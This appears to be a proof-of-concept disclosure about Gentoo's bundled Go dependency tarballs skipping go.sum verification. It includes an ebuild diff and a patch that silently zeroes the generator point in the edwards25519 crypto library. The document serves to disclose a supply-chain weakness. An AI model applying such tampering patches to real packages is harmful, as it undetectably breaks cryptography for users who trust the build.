gistfile1.txt

Gentoo Golang deps bundled injection PoC
----------------------------------------
Author: Robin H. Johnson <robbat2@gentoo.org>
Date: 2022/10/21

Go build does not catch the injection of malicious code that might have been
included in a deps tarball.

$WORKDIR/age-1.0.0/go.sum (which is more-trusted, since it came from the age
upstream), contains this entry:
filippo.io/edwards25519 v1.0.0-rc.1 h1:m0VOOB23frXZvAOK44usCgLWvtsxIoMCTBGJZlpmGfU=

But it's not verified against.

--- age-1.0.0.ebuild	2022-10-18 10:57:23.978105615 -0700
+++ age-1.0.0-r1.ebuild	2022-10-21 12:13:21.152623754 -0700
@@ -2,7 +2,7 @@
 # Distributed under the terms of the GNU General Public License v2
 
 EAPI=7
-inherit go-module
+inherit go-module eutils
 
 DESCRIPTION="A simple, modern and secure encryption tool (and Go library)"
 HOMEPAGE="https://github.com/FiloSottile/age"
@@ -18,6 +18,14 @@
 
 BDEPEND="dev-go/gox"
 
+src_prepare() {
+	default_src_prepare
+	cd "${WORKDIR}"
+	# What if this patch was silently inside the deps tarball, injected when
+	# the deps tarball was created
+	eapply "${FILESDIR}"/bypass-gosum.patch || die
+}
+
 src_compile() {
 	go build -ldflags "-X main.Version=${PV}" -o . filippo.io/age/cmd/... || die
 }
--- /dev/null	2022-08-29 08:27:45.548861310 -0700
+++ files/bypass-gosum.patch	2022-10-21 12:12:21.099943010 -0700
@@ -0,0 +1,18 @@
+--- ../go-mod/filippo.io/edwards25519@v1.0.0-rc.1/edwards25519.go.orig	2022-10-21 12:06:23.315437993 -0700
++++ ../go-mod/filippo.io/edwards25519@v1.0.0-rc.1/edwards25519.go	2022-10-21 12:06:44.883308555 -0700
+@@ -76,10 +76,11 @@
+ // generator is the canonical curve basepoint. See TestGenerator for the
+ // correspondence of this encoding with the values in RFC 8032.
++// Demo of malicious code injection; changing magic bytes in crypto code undetected...
+ var generator, _ = new(Point).SetBytes([]byte{
+-	0x58, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
+-	0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
+-	0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
+-	0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66})
++	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
++	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
++	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
++	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
+ 
+ // NewGeneratorPoint returns a new Point set to the canonical generator.
+ func NewGeneratorPoint() *Point {